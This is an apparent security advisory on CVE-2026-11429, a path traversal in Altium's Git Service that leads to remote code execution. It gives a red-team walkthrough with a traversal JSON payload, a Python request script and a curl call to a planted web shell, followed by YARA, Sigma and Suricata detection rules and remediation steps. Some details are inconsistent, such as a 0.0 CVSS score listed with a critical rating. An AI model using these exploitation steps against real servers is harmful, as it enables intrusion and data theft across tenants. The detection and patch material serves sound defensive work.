CVE-2026-11429

Executive Summary

CVE-2026-11429 is a critical path traversal vulnerability in the Git Service component shared by Altium Enterprise Server and Altium 365. The flaw allows an authenticated user with basic git access to move arbitrary files outside the intended repository area by supplying unsanitized paths during post-clone file-manipulation operations. This file-move primitive can be leveraged to place attacker-controlled script content into directories where it is later executed by the service, resulting in remote code execution (RCE) under the Git Service account. On multi-tenant Altium 365 deployments, this could have allowed unauthorized access to data belonging to other tenants on the same infrastructure node. Altium Enterprise Server is fixed in version 8.1.1, and Altium 365 has been remediated at the service level.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not officially assigned)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (authenticated user with basic git access)
• User Interaction (UI): None
• Scope (S): Changed (multi-tenant impact)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: Critical – Path traversal leading to RCE and potential lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the Git Service component, which handles post-clone file-manipulation operations. When a user clones a repository, the service accepts a sequence of file operations (e.g., move, copy, delete) that use user-supplied paths without proper validation. An attacker can supply paths containing directory traversal sequences (e.g., ../) to move files outside the intended repository directory.

Attack Flow:

1. Authentication: The attacker authenticates with basic git access credentials.
2. Clone Operation: The attacker initiates a clone of a repository they have access to.
3. Malicious File Operations: During the post-clone phase, the attacker sends a sequence of file-manipulation commands with crafted paths (e.g., ../../../../var/www/html/shell.php).
4. File Move: The service moves a file (e.g., a script) from the repository to an arbitrary location outside the repository area.
5. Execution: The attacker-controlled script is placed in a directory where it is later executed by the service (e.g., a web-accessible directory or a cron job directory), leading to RCE.

On multi-tenant Altium 365 deployments, the attacker could move files to directories belonging to other tenants, potentially accessing or modifying their data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def handle_post_clone_operations(repo_path, operations):
    for op in operations:
        if op['action'] == 'move':
            src = os.path.join(repo_path, op['source'])
            dst = os.path.join(repo_path, op['destination'])
            shutil.move(src, dst)

Patched Code (Conceptual):

import os

def safe_path_join(base, user_path):
    # Resolve the user path and ensure it stays within base
    full_path = os.path.normpath(os.path.join(base, user_path))
    if not full_path.startswith(os.path.normpath(base)):
        raise ValueError("Path traversal detected")
    return full_path

def handle_post_clone_operations(repo_path, operations):
    for op in operations:
        if op['action'] == 'move':
            src = safe_path_join(repo_path, op['source'])
            dst = safe_path_join(repo_path, op['destination'])
            shutil.move(src, dst)

The patched code uses os.path.normpath and checks that the resolved path starts with the base repository path, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Altium Enterprise Server or Altium 365 instance with basic git credentials.
• A repository to clone.

Exploitation Steps:

1. Clone a repository:

   git clone http://target-server/repo.git
   

2. Craft malicious file operations: Create a file exploit.json with the following content:

   [
     {
       "action": "move",
       "source": "legitimate_file.txt",
       "destination": "../../../../var/www/html/shell.php"
     }
   ]
   

3. Send the operations during post-clone: Use a custom script to send the operations:

   import requests
   import json
   
   url = "http://target-server/git-service/post-clone"
   headers = {"Content-Type": "application/json"}
   data = json.load(open("exploit.json"))
   response = requests.post(url, json=data, headers=headers, auth=("user", "pass"))
   print(response.status_code)
   

4. Trigger execution: Access the uploaded shell via HTTP:

   curl http://target-server/shell.php?cmd=id
   

Blue Team

Detection:

• Monitor for unusual file operations in Git service logs.
• Look for paths containing ../ or other traversal sequences in post-clone requests.
• Alert on file moves to directories outside the repository root.

Hunting:

• Search for files created in web-accessible directories (e.g., /var/www/html) that are not part of the normal deployment.
• Review Git service logs for move operations with suspicious destination paths.

Mitigation:

• Apply the patch (Altium Enterprise Server 8.1.1 or later).
• For Altium 365, ensure the service-level remediation is in place.
• Implement strict input validation and path sanitization.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• File Paths:
  • /var/www/html/shell.php
  • /tmp/exploit.sh
  • Any file outside the repository directory created by the Git service.
• Network Traffic:
  • POST requests to /git-service/post-clone with JSON payloads containing ../ sequences.
• Log Entries:
  • Git service logs showing move operations with destination paths containing ...
• Processes:
  • Unusual processes spawned by the Git service account (e.g., bash, python, nc).

Detection Engineering

YARA Rule

rule CVE_2026_11429_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Altium Git Service post-clone operations"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-11429"
    strings:
        $traversal = /\.\.\/|\.\.\\|\.\.%2f|\.\.%5c/
        $move_action = /"action"\s*:\s*"move"/
        $destination = /"destination"\s*:\s*"[^"]*\.\./
    condition:
        $move_action and ($traversal or $destination)
}

Sigma Rule

title: Altium Git Service Path Traversal
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in Altium Git Service post-clone operations
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11429
logsource:
    category: application
    product: altium
    service: git-service
detection:
    selection:
        EventID: 1001
        Action: "move"
        DestinationPath|contains: ".."
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11429 Altium Git Service Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/git-service/post-clone"; http_uri; content:"\"action\":\"move\""; http_client_body; content:"\"destination\""; http_client_body; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade Altium Enterprise Server to version 8.1.1 or later.
   • For Altium 365, ensure the service-level remediation is applied (contact Altium support if unsure).
   • Restrict network access to the Git Service component to trusted IPs only.

2. Compensating Controls:

   • Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
   • Enable detailed logging for the Git Service and monitor for suspicious file operations.
   • Use file integrity monitoring (FIM) to detect unauthorized file creation outside repository directories.

3. Long-Term Measures:

   • Conduct a security review of all file-manipulation operations in the Git Service.
   • Implement strict input validation and path sanitization using allowlists.
   • Apply the principle of least privilege to the Git Service account.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert